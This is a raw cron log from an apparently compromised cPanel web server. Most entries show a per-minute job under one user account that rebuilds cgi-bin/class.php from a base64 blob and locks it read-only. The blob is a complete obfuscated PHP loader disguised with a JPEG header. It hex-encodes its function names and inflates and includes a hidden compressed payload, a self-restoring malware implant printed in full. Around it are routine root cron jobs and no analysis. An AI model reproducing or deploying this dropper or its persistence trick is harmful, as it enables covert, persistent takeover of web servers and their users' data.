Nov 14 02:50:01 server CROND[25982]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 02:51:01 server CROND[26252]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:52:01 server CROND[26963]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:53:01 server CROND[27818]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:54:01 server CROND[28776]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:55:01 server CROND[29663]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 02:55:01 server CROND[29665]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:55:01 server CROND[29664]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 02:56:01 server CROND[30560]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:57:01 server CROND[31510]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:57:01 server CROND[31511]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 02:58:01 server CROND[32403]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:59:01 server CROND[901]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 02:59:01 server CROND[902]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Nov 14 03:00:01 server CROND[1786]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 03:00:01 server CROND[1787]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 03:00:01 server CROND[1788]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:00:01 server CROND[1789]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 03:01:01 server CROND[2743]: (root) CMD (run-parts /etc/cron.hourly)
Nov 14 03:01:01 server CROND[2742]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:01:01 server run-parts(/etc/cron.hourly)[2743]: starting 0anacron
Nov 14 03:01:01 server anacron[2756]: Anacron started on 2025-11-14
Nov 14 03:01:01 server run-parts(/etc/cron.hourly)[2758]: finished 0anacron
Nov 14 03:01:01 server anacron[2756]: Will run job `cron.daily' in 24 min.
Nov 14 03:01:01 server anacron[2756]: Jobs will be executed sequentially
Nov 14 03:02:01 server CROND[3627]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:03:01 server CROND[4487]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
